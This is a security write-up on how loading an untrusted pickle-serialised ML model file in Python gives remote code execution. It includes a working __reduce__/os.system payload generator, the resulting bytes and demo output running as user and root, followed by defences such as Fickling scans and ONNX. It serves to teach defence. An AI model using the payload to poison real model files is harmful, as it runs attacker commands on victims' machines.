A short write-up on a bug that hides in plain sight inside machine-learning workflows: loading a shared model file can be remote code execution, because Python's pickle format is not data, it is a program.

I noticed two people on an ML team passing model-training files around: a serialised blob produced by Python's pickle module, and a script that deserialised it to make predictions. That hand-off is the whole vulnerability.

1. The setup

The model was a phishing detector, shared as files. The loader looked like this:

import sys
import base64
import pickle
import numpy as np
from sklearn.feature_extraction.text import CountVectorizer
import keras

input = sys.argv[1]
text = base64.b64decode(input)

file = open("./vector.pickel", 'rb')
vectorizer = pickle.load(file)
file.close()
...

The line that matters is pickle.load(file).

2. Why pickle, and why it is dangerous

Pickling is popular for good reasons: it conserves memory, lets you stop and resume training, makes trained models portable and shareable, needs no extra dependencies, and serialises custom objects out of the box. That is exactly why ML practitioners reach for it.

The catch is the line every pickle doc repeats:

Never deserialize data from an untrusted source while using pickle.

Unpickling is not "reading data." pickle reconstructs arbitrary Python objects, and an object gets to define how it is rebuilt. That hook is __reduce__, and it runs during pickle.load().

3. The attack: a model file that is really a payload

Pre-trained models are shared freely (PyTorch Hub, GitHub-backed download APIs, and so on), so people routinely pickle.load() files they did not produce. All it takes is one malicious pickle the engineer loads.

Here is the payload generator. __reduce__ returns a callable and its arguments; on unpickling, Python calls os.system(cmd):

import pickle
import os

class RCE:
    def __reduce__(self):
        cmd = input()  # the command to run on the victim's device
        return os.system, (cmd,)

if __name__ == '__main__':
    pickled = pickle.dumps(RCE())
    print(pickled)

Run it, type a command, and you get the serialised bytes:

# python3 exploit.py
whoami
b'\x80\x04\x95!\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c\x06whoami\x94\x85\x94R\x94.'

Drop those bytes into any pickle file the victim will load (for example vector.pickel) and send it over.

ML SUPPLY CHAIN · pickle.load() ON AN UNTRUSTED MODEL = RCE attackercrafts a malicious pickle shared model filevector.pickel · model.sav ML engineerpickle.load(file) embed share __reduce__ firesduring unpickling os.system(cmd) shell as the loaderuser · root under sudo ✕ unpickling runs code, the data file is the program
Fig. 01 - pickle is not just data. A crafted model file defines __reduce__, so the moment the engineer calls pickle.load() the attacker's os.system(cmd) runs with that process's privileges.

4. The victim's view

The engineer just wants to run the model, so they load the file I sent without checking it:

import pickle
import numpy as np
import keras

file = open("./vector.pickel", 'rb')
vectorizer = pickle.load(file)   # payload fires here
file.close()
file = open("Logistic_Model.sav", 'rb')
Liner_model = pickle.load(file)
file.close()
NN_model = keras.models.load_model("nn_model.h5")
encodings = vectorizer.transform([text]).toarray()
print("Linear Model Prediction {0}".format(Liner_model.predict(encodings)[0]))
print("NN Model Prediction {0}".format(np.round(NN_model.predict(encodings)[0])))

The command executes the instant pickle.load() touches my file, before any prediction happens:

 cat vector.pickel
<binary payload: os.system('whoami')>
 python3 predict.py
iradi
# Traceback (most recent call last):
#   File "predict.py", line 12, in <module>
#     file = open("Logistic_Model.sav", 'rb')
# FileNotFoundError: [Errno 2] No such file or directory: 'Logistic_Model.sav'
 sudo python3 predict.py
root

The script even crashes afterwards on a missing file, and it does not matter: the whoami already ran. Run it as a normal user and you get the user; run it under sudo and you get root. Code runs with the privileges of whoever loads the model, and a real attacker would keep the command blind and quiet in the background.

5. How to stay safe

  • Treat model files as untrusted code, not data. Only pickle.load() artifacts you produced yourself or can verify (a signature or checksum from a trusted source).
  • Scan pickles before loading. Fickling implements a pickle virtual machine and symbolically executes the stream instead of running it; fickling --check-safety flags whole classes of malicious pickles.
  • Prefer a non-executable format. Formats like ONNX (which encodes models with Protocol Buffers) describe data, not code, so loading one is not an execution primitive.

6. Takeaways

  • pickle.load() is exec() in disguise. Any path where peer-supplied or user-supplied bytes reach it is RCE.
  • The ML supply chain is a soft target. "Download a pretrained model and load it" is a normal, trusted workflow, which is exactly what makes a poisoned model file effective.
  • __reduce__ is the gadget. It runs during deserialisation by design; that is the language feature, not a bug, so the only real fix is never loading untrusted pickles.

Thanks for reading.